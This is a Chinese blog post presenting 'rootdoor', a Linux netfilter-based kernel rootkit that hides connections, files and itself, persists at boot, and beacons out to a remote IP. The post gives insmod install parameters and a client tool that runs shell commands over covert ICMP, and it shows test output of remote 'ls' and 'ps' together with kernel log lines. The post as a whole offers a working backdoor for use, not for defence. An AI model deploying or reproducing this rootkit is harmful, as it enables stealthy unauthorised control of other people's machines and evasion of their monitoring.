利用netfilter hook开发llinux后门rootkit程序

rootdoor包括服务器端程序和客户端程序,在centos 6.5上面测试通过。
功能:
1、任意端口复用。端口复用,它就是在系统已经开放的端口上进行通讯,并且不影响系统的正常工作和服务的正常运行。
2、隐藏网络连接,端口,文件以及目录。用linux工具无法查看到。
3、隐藏模块,开机启动。
4、反向连接。服务器定时连接指定的ip/port。
5、反调试,防止被跟踪和破解。内容加密传送。


rootdoor.ko设计要点:
1、server程序(rootdoor.ko)在安装时,会隐藏式启动一个后门进程(/home/freeman/hello)。
2、rootdoor在内核空间中尝试向指定的pc机(模块参数指定mac_addr/ip/port)发送探测消息(hello),直到收到回应为止(hello)。
3、pc机给server回送hello消息时,可传送需要执行的脚本比如sh /home/freeman/myspy.sh,这样达到远程执行命令的目的。
4、在收到pc机给出的hello消息后,rootdoor回送hello_ack消息。在hello_ack消息中可送出任何想送出的信息,比如myspy.sh的执行结果或是其它信息。


安装说明:
1.将hello/rootdoor.ko放到server的home/freeman目录下面。
mkdir /home/freeman
cp hello /home/freeman


2.将ping4放到客户机上面,任何一个目录均可。


在server中,如果用的是eth1,那么,安装参数是:
insmod rootdoor.ko dnet=eth1 dmac=00:0c:29:40:99:20 dip=192.168.2.8 //damc/dip是目标机(client pc)的mac和ip,它是虚拟机2


ping4运行方法:
./ping4 192.168.2.8 192.168.2.113 //第一个ip是本机的ip,第二个ip是server的ip。
如果拿不到server的ip,也就是说server只有内网IP,无公网IP。那第二个ip就任意填一个。




测试说明:
在虚拟机1中,用的是eth1,那么,安装参数是:
insmod rootdoor.ko dnet=eth1 dmac=00:0c:29:40:99:20 dip=192.168.2.8 //damc/dip是目标机(client pc)的mac和ip,它是虚拟机2


我在虚拟机2上跑ping4,结果如下:
[root@localhost ping]# ./ping4 192.168.2.9 192.168.2.113Please Enter bash command line[exit to quit]:
ls
cmdline=ls
Sending ICMP(C2S_HELLO)!192.168.2.9---->192.168.2.113
Please Enter bash command line[exit to quit]:
!!!Received S2C_HELLO_ACK!msg[]=
bin
boot
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var


ps
cmdline=ps
Sending ICMP(C2S_HELLO)!192.168.2.9---->192.168.2.113
Please Enter bash command line[exit to quit]:
!!!Received S2C_HELLO_ACK!msg[]=
  PID TTY          TIME CMD
    1 ?        00:00:01 init
    2 ?        00:00:00 kthreadd
    3 ?        00:00:00 migration/0
    4 ?        00:00:00 ksoftirqd/0
    5 ?        00:00:00 migration/0
    6 ?        00:00:00 watchdog/0
    7 ?        00:00:01 events/0
    8 ?        00:00:00 cgroup
    9 ?        00:00:00 khelper
   10 ?        00:00:00 netns
   11 ?        00:00:00 async/mgr
   12 ?        00:00:00 pm
   13 ?        00:00:00 sync_supers
   14 ?        00:00:00 bdi-default
   15 ?        00:00:00 kintegrityd/0
   16 ?        00:00:00 kblockd/0
   17 ?        00:00:00 kacpid
   18 ?        00:00:00 kacpi_notify
   19 ?        00:00:00 kacpi_hotplug
   20 ?        00:00:00 ata_aux
   21 ?        00:00:00 ata_sff/0
   22 ?        00:00:00 ksuspend_usbd
   23 ?        00:00:00 khubd
   24 ?        00:00:00 kseriod
   25 ?        00:00:00 md/0
   26 ?        00:00:00 md_misc/0
   27 ?        00:00:00 linkwatch
   28 ?        00:00:00 khungtaskd
   29 ?        00:00:00 kswapd0
   30 ?        00:00:00
exit
[root@localhost ping]# 


查看虚拟机1(server pc)上面的打印:dmesg
rootdoor: C2S_HELLO received!Send S2C_HELLO_ACK!
rootdoor: cmdline=ps
rootdoor: Net_SendIcmp(from:00:0c:29:87:bf:29,1,0x35)
rootdoor: This ICMP package with magic_word:0x5b is being stolen successfully!
rootdoor: C2S_HELLO received!Send S2C_HELLO_ACK!
rootdoor: cmdline=ls
rootdoor: Net_SendIcmp(from:00:0c:29:87:bf:29,1,0x35)
rootdoor: process:hello is killed!pid=3622
rootdoor: unload done.
去掉了一些不必要的打印如cmd_result[]。



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

草根大哥

进军大神程序员路上,谢谢支持!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值